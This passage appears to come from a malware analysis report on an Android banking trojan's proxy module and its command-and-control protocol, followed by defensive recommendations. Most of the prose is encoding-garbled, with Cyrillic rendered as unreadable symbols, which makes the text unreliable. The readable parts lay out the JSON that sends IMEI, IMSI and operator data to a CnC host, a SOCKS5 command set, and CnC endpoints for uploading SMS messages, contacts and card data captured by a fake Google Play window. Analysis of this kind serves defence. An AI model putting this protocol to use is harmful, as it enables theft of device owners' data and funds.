3. Π‘ΡΠ°ΡΡΠΈΡΠ° ΠΊΠ»Π°ΡΠ° Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°, ΠΊΠ°ΡΠΎ ΠΏΡΡΠ²ΠΎ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ° ΡΠ΅Π΄Π° mainLog("ΡΡΠ°ΡΡΠΎΠ² ΡΡΡΠ²ΡΡ") ΠΈ
Π‘ΡΡΠ²ΡΡ::start() Ρ ΠΎΡΡ[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
ΠΊΡΠ΄Π΅ΡΠΎ proxy_cnc, command_port ΠΈ proxy_port β ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ ΡΡΡΠ²ΡΡΠ°.
ΠΠ·Π²ΠΈΠΊΠ²Π° ΡΠ΅ ΠΊΠ»Π°ΡΡΡ Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ CommandConnection. ΠΠ΅Π΄Π½Π°Π³Π° ΡΠ»Π΅Π΄ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ:
4. Π‘Π²ΡΡΠ·Π²Π° ΡΠ΅ Ρ ProxyConfigClass.host: ProxyConfigClass.commandPort ΠΈ ΠΈΠ·ΠΏΡΠ°ΡΠ° Π΄Π°Π½Π½ΠΈ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ ΡΠ°ΠΌ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
ΠΡΠ΄Π΅:
- id β ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ, ΠΎΠΏΠΈΡΠ²Π° ΡΠ΅ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ ΡΡΠΎΠΉΠ½ΠΎΡΡ Ρ ΠΏΠΎΠ»Π΅ΡΠΎ βidβ ΠΎΡ ΡΠ°ΠΉΠ»Π° ΡΡΡ ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΈ ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Π½ΠΈΡ Ρ ΠΈΠΌΠ΅ βxβ. ΠΠΊΠΎ ΡΠ°Π·ΠΈ ΡΡΠΎΠΉΠ½ΠΎΡΡ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΠΏΠΎΠ»ΡΡΠ΅Π½Π°, ΡΡ Π³Π΅Π½Π΅ΡΠΈΡΠ° Π½ΠΎΠ²Π°. Π’Π°ΠΊΠ° ΠΌΠΎΠ΄ΡΠ»ΡΡ Proxy ΠΈΠΌΠ° ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ Π³Π΅Π½Π΅ΡΠΈΡΠ° ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Π½Π° Bot ID.
- imei β IMEI Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ. ΠΠΊΠΎ Π²ΡΠ·Π½ΠΈΠΊΠ½Π΅ Π³ΡΠ΅ΡΠΊΠ° ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ°, Π²ΠΌΠ΅ΡΡΠΎ ΡΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΠΈΡΠ°Π½ΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- imsi β ΠΌΠ΅ΠΆΠ΄ΡΠ½Π°ΡΠΎΠ΄Π½Π° ΠΈΠ΄Π΅Π½ΡΠΈΡΠ½ΠΎΡΡ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈΡ Π°Π±ΠΎΠ½Π°Ρ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ. ΠΠΊΠΎ Π²ΡΠ·Π½ΠΈΠΊΠ½Π΅ Π³ΡΠ΅ΡΠΊΠ° ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ°, Π²ΠΌΠ΅ΡΡΠΎ ΡΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΠΈΡΠ°Π½ΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- ΠΌΠΎΠ΄Π΅Π» β ΠΠΈΠ΄ΠΈΠΌΠΎΡΠΎ ΠΎΡ ΠΊΡΠ°ΠΉΠ½ΠΈΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π» ΠΈΠΌΠ΅ Π·Π° ΠΊΡΠ°ΠΉΠ½ΠΈΡ ΠΏΡΠΎΠ΄ΡΠΊΡ.
- ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»Ρ β ΠΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΡ Π½Π° ΠΏΡΠΎΠ΄ΡΠΊΡΠ°/Ρ Π°ΡΠ΄ΡΠ΅ΡΠ° (Build.MANUFACTURER).
- androidVersion - Π½ΠΈΠ· Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ "<%release_version%> (<%os_version%>),<%sdk_version%>"
- Π΄ΡΡΠΆΠ°Π²Π° β ΡΠ΅ΠΊΡΡΠΎΡΠΎ ΠΌΠ΅ΡΡΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ.
- partnerId Π΅ ΠΏΡΠ°Π·Π΅Π½ Π½ΠΈΠ·.
- packageName β ΠΈΠΌΠ΅ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ.
- networkType β ΡΠΈΠΏ ΡΠ΅ΠΊΡΡΠ° ΠΌΡΠ΅ΠΆΠΎΠ²Π° Π²ΡΡΠ·ΠΊΠ° (ΠΏΡΠΈΠΌΠ΅Ρ: βWIFIβ, βMOBILEβ). Π ΡΠ»ΡΡΠ°ΠΉ Π½Π° Π³ΡΠ΅ΡΠΊΠ° Π²ΡΡΡΠ° Π½ΡΠ»Π°.
- hasGsmSupport β true β Π°ΠΊΠΎ ΡΠ΅Π»Π΅ΡΠΎΠ½ΡΡ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° GSM, Π² ΠΏΡΠΎΡΠΈΠ²Π΅Π½ ΡΠ»ΡΡΠ°ΠΉ Π΅ false.
- simReady β ΡΡΡΡΠΎΡΠ½ΠΈΠ΅ Π½Π° SIM ΠΊΠ°ΡΡΠ°ΡΠ°.
- simCountry - ISO ΠΊΠΎΠ΄ Π½Π° Π΄ΡΡΠΆΠ°Π²Π°ΡΠ° (Π±Π°Π·ΠΈΡΠ°Π½ Π½Π° Π΄ΠΎΡΡΠ°Π²ΡΠΈΠΊΠ° Π½Π° SIM ΠΊΠ°ΡΡΠ°).
- networkOperator β ΠΈΠΌΠ΅ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡ. ΠΠΊΠΎ Π²ΡΠ·Π½ΠΈΠΊΠ½Π΅ Π³ΡΠ΅ΡΠΊΠ° ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ°, Π²ΠΌΠ΅ΡΡΠΎ ΡΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΠΈΡΠ°Π½ΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- simOperator β ΠΠΌΠ΅ΡΠΎ Π½Π° Π΄ΠΎΡΡΠ°Π²ΡΠΈΠΊΠ° Π½Π° ΡΡΠ»ΡΠ³ΠΈ (SPN). ΠΠΊΠΎ Π²ΡΠ·Π½ΠΈΠΊΠ½Π΅ Π³ΡΠ΅ΡΠΊΠ° ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ°, Π²ΠΌΠ΅ΡΡΠΎ ΡΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΠΈΡΠ°Π½ΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- Π²Π΅ΡΡΠΈΡ - ΡΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ ΡΡΡ ΡΠ°Π½ΡΠ²Π° Π² ΠΊΠ»Π°ΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡΠ°; Π·Π° ΡΠ΅ΡΡΠ²Π°Π½ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π½Π° Π±ΠΎΡΠ° Π±Π΅ΡΠ΅ ΡΠ°Π²Π½ΠΎ Π½Π° β1.6β.
5. ΠΡΠ΅Π²ΠΊΠ»ΡΡΠ²Π° Π² ΡΠ΅ΠΆΠΈΠΌ Π½Π° ΠΈΠ·ΡΠ°ΠΊΠ²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ ΡΡΡΠ²ΡΡΠ°. ΠΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΠΎΡ ΡΡΡΠ²ΡΡΠ° ΠΈΠ΄Π²Π°Ρ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ:
- 0 ΠΎΡΠΌΠ΅ΡΡΠ²Π°Π½Π΅ β ΠΊΠΎΠΌΠ°Π½Π΄Π°
- 1 ΠΎΡΠΌΠ΅ΡΡΠ²Π°Π½Π΅ β sessionId
- 2 ΠΎΡΠΌΠ΅ΡΡΠ²Π°Π½Π΅ β Π΄ΡΠ»ΠΆΠΈΠ½Π°
- 4 ΠΎΡΠΌΠ΅ΡΡΠ²Π°Π½Π΅ - Π΄Π°Π½Π½ΠΈ
ΠΠΎΠ³Π°ΡΠΎ ΠΏΡΠΈΡΡΠΈΠ³Π½Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")
ΠΡΠ·ΠΌΠΎΠΆΠ½ΠΈ ΡΠ° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ ΡΡΡΠ²ΡΡΠ°:
ΠΠΌΠ΅ | ΠΠΎΠΌΠ°Π½Π΄Π° | ΠΠ°ΡΠ° | ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ |
---|---|---|---|
ConnectionId | 0 | ID Π½Π° Π²ΡΡΠ·ΠΊΠ°ΡΠ° | Π‘ΡΠ·Π΄Π°ΠΉΡΠ΅ Π½ΠΎΠ²Π° Π²ΡΡΠ·ΠΊΠ° |
SLEEP | 3 | ΠΡΠ΅ΠΌΠ΅ | ΠΠΎΡΡΠ°Π²Π΅ΡΠ΅ Π½Π° ΠΏΠ°ΡΠ·Π° ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π° |
ΠΠΠΠ ΠΠΠΠ | 4 | - | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ PONG ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ |
ΠΠ΄Π½ΠΎ PONG ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΡΠ΅ ΡΡΡΡΠΎΠΈ ΠΎΡ 4 Π±Π°ΠΉΡΠ° ΠΈ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΡΠ°ΠΊΠ°: 0x04000000.
ΠΠΎΠ³Π°ΡΠΎ ΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π°connectionId (Π·Π° ΡΡΠ·Π΄Π°Π²Π°Π½Π΅ Π½Π° Π½ΠΎΠ²Π° Π²ΡΡΠ·ΠΊΠ°) CommandConnection ΡΡΠ·Π΄Π°Π²Π° Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ Π½Π° ΠΊΠ»Π°Ρ ProxyConnection.
- Π ΠΏΡΠΎΠΊΡΠΈΠΈΡΠ°Π½Π΅ΡΠΎ ΡΡΠ°ΡΡΠ²Π°Ρ Π΄Π²Π° ΠΊΠ»Π°ΡΠ°: ProxyConnection ΠΈ ΠΊΡΠ°ΠΉ. ΠΡΠΈ ΡΡΠ·Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΊΠ»Π°Ρ ProxyConnection ΡΠ²ΡΡΠ·Π²Π°Π½Π΅ Ρ Π°Π΄ΡΠ΅ΡΠ° ProxyConfigClass.host: ProxyConfigClass.proxyPort ΠΈ ΠΏΡΠ΅Π΄Π°Π²Π°Π½Π΅ Π½Π° JSON ΠΎΠ±Π΅ΠΊΡΠ°:
{
"id":<%connectionId%>
}
Π ΠΎΡΠ³ΠΎΠ²ΠΎΡ ΡΡΡΠ²ΡΡΡΡ ΠΈΠ·ΠΏΡΠ°ΡΠ° SOCKS5 ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅, ΠΊΠΎΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ° Π°Π΄ΡΠ΅ΡΠ° Π½Π° ΠΎΡΠ΄Π°Π»Π΅ΡΠ΅Π½ΠΈΡ ΡΡΡΠ²ΡΡ, Ρ ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° ΡΠ΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈ Π²ΡΡΠ·ΠΊΠ°. ΠΠ·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ΡΠΎ Ρ ΡΠΎΠ·ΠΈ ΡΡΡΠ²ΡΡ ΡΠ΅ ΠΎΡΡΡΠ΅ΡΡΠ²ΡΠ²Π° ΡΡΠ΅Π· ΠΊΠ»Π°ΡΠ° ΠΊΡΠ°ΠΉ. ΠΠ°ΡΡΡΠΎΠΉΠΊΠ°ΡΠ° Π½Π° Π²ΡΡΠ·ΠΊΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΡ Π΅ΠΌΠ°ΡΠΈΡΠ½ΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π΅Π½Π° ΠΏΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡ Π½Π°ΡΠΈΠ½:
ΠΡΠ΅ΠΆΠΎΠ²ΠΈ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ
ΠΠ° Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΠΈ Π°Π½Π°Π»ΠΈΠ· Π½Π° ΡΡΠ°ΡΠΈΠΊΠ° ΠΎΡ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ ΡΠ½ΠΈΡΠ΅ΡΠΈ, Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ΡΠΎ ΠΌΠ΅ΠΆΠ΄Ρ CnC ΡΡΡΠ²ΡΡΠ° ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ Π·Π°ΡΠΈΡΠ΅Π½ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° SSL ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π°. ΠΡΠΈΡΠΊΠΈ ΠΏΡΠ΅Π΄Π°Π²Π°Π½ΠΈ Π΄Π°Π½Π½ΠΈ ΠΎΡ ΠΈ ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ° ΡΠ΅ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΡΡ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ JSON. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π·Π°ΡΠ²ΠΊΠΈ ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΡΠ°Π±ΠΎΡΠ°:
- http://<%CnC%>/api/v1/set_state.php β ΡΠ΅Π·ΡΠ»ΡΠ°ΡΡΡ ΠΎΡ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°.
- http://<%CnC%>/api/v1/get.php β ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°.
- http://<%CnC%>/api/v1/load_sms.php β ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½Π΅ Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ.
- http://<%CnC%>/api/v1/load_ab.php β ΠΊΠ°ΡΠ²Π°Π½Π΅ Π½Π° ΡΠΏΠΈΡΡΠΊ Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ.
- http://<%CnC%>/api/v1/aevents.php β Π·Π°ΡΠ²ΠΊΠ°ΡΠ° ΡΠ΅ ΠΏΡΠ°Π²ΠΈ ΠΏΡΠΈ Π°ΠΊΡΡΠ°Π»ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ, Π½Π°ΠΌΠΈΡΠ°ΡΠΈ ΡΠ΅ Π²ΡΠ² ΡΠ°ΠΉΠ»Π° Ρ ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Π½ΠΈΡ.
- http://<%CnC%>/api/v1/set_card.php β ΠΊΠ°ΡΠ²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ ΠΊΠ°ΡΠΎ Google Play Market.
- http://<%CnC%>/api/v1/logs.php β ΠΊΠ°ΡΠ²Π°Π½Π΅ Π½Π° ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ.
- http://<%CnC%>/api/v1/records.php β ΠΊΠ°ΡΠ²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΡΡΠ΅Π· ΡΠΈΡΠΈΠ½Π³ ΠΏΡΠΎΠ·ΠΎΡΡΠΈ.
- http://<%CnC%>/api/v1/set_error.php β ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°Π½Π΅ Π·Π° Π²ΡΠ·Π½ΠΈΠΊΠ½Π°Π»Π° Π³ΡΠ΅ΡΠΊΠ°.
ΠΏΡΠ΅ΠΏΠΎΡΡΠΊΠΈ
ΠΠ° Π΄Π° Π·Π°ΡΠΈΡΡΡ ΡΠ²ΠΎΠΈΡΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΠΈ ΠΎΡ Π·Π°ΠΏΠ»Π°Ρ Π°ΡΠ° ΠΎΡ ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½Π΅, ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈΡΠ΅ ΡΡΡΠ±Π²Π° Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΡΡΠ»ΠΎΡΡΠ½ΠΈ ΡΠ΅ΡΠ΅Π½ΠΈΡ, ΠΊΠΎΠΈΡΠΎ ΠΈΠΌ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π°Ρ Π΄Π° Π½Π°Π±Π»ΡΠ΄Π°Π²Π°Ρ ΠΈ ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΡΠ²Π°Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½Π° Π΄Π΅ΠΉΠ½ΠΎΡΡ, Π±Π΅Π· Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Ρ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈΡΠ΅ ΡΡΡΡΠΎΠΉΡΡΠ²Π°.
ΠΠ° ΡΠ΅Π»ΡΠ° ΡΠΈΠ³Π½Π°ΡΡΡΠ½ΠΈΡΠ΅ ΠΌΠ΅ΡΠΎΠ΄ΠΈ Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°Π½Π΅ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΡΡΠΎΡΠ½ΡΠΊΠΈ ΠΊΠΎΠ½Π΅ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π°Ρ ΠΏΠΎΠ΄ΡΠΈΠ»Π΅Π½ΠΈ Ρ ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π·Π° Π°Π½Π°Π»ΠΈΠ· Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΡΠΎ ΠΊΠ°ΠΊΡΠΎ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ°, ΡΠ°ΠΊΠ° ΠΈ Π½Π° ΡΠ°ΠΌΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. ΠΠ°ΡΠΈΡΠ°ΡΠ° ΡΡΡΠ±Π²Π° Π΄Π° Π²ΠΊΠ»ΡΡΠ²Π° ΠΈ ΡΡΠ½ΠΊΡΠΈΡ Π·Π° ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΡ Π·Π° ΡΠΈΡΡΠΎΠ² ΠΏΡΡΡΡΠΎΠ² ΠΎΡΠΏΠ΅ΡΠ°ΡΡΠΊ, ΠΊΠΎΡΡΠΎ ΡΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈ Π΄Π° ΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ ΠΊΠΎΠ³Π° Π°ΠΊΠ°ΡΠ½ΡΡΡ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΡ Π½Π΅ΡΠΈΠΏΠΈΡΠ½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ ΠΈ Π²Π΅ΡΠ΅ Π΅ ΠΏΠΎΠΏΠ°Π΄Π½Π°Π» Π² ΡΡΡΠ΅ΡΠ΅ Π½Π° ΠΈΠ·ΠΌΠ°ΠΌΠ½ΠΈΠΊ.
Π€ΡΠ½Π΄Π°ΠΌΠ΅Π½ΡΠ°Π»Π½ΠΎ Π²Π°ΠΆΠ΅Π½ ΠΌΠΎΠΌΠ΅Π½Ρ Π΅ Π½Π°Π»ΠΈΡΠΈΠ΅ΡΠΎ Π½Π° ΠΌΠ΅ΠΆΠ΄ΡΠΊΠ°Π½Π°Π»Π΅Π½ Π°Π½Π°Π»ΠΈΠ·, ΠΊΠΎΠΉΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈΡΠ΅ Π΄Π° ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°Ρ ΡΠΈΡΠΊΠΎΠ²Π΅ΡΠ΅, Π²ΡΠ·Π½ΠΈΠΊΠ²Π°ΡΠΈ Π½Π΅ ΡΠ°ΠΌΠΎ Π² ΠΈΠ½ΡΠ΅ΡΠ½Π΅Ρ, Π½ΠΎ ΠΈ Π² ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈΡ ΠΊΠ°Π½Π°Π», Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π² ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΎ Π±Π°Π½ΠΊΠΈΡΠ°Π½Π΅, Π·Π° ΡΡΠ°Π½Π·Π°ΠΊΡΠΈΠΈ Ρ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ ΠΈ Π²ΡΡΠΊΠ°ΠΊΠ²ΠΈ Π΄ΡΡΠ³ΠΈ, ΠΊΡΠ΄Π΅ΡΠΎ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Ρ ΡΡΠ°Π½Π·Π°ΠΊΡΠΈΠΈ.ΡΠΈΠ½Π°Π½ΡΠΎΠ²Π° ΡΡΠ°Π½Π·Π°ΠΊΡΠΈΡ.
ΠΡΠ°Π²ΠΈΠ»Π° Π·Π° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ Π·Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅:
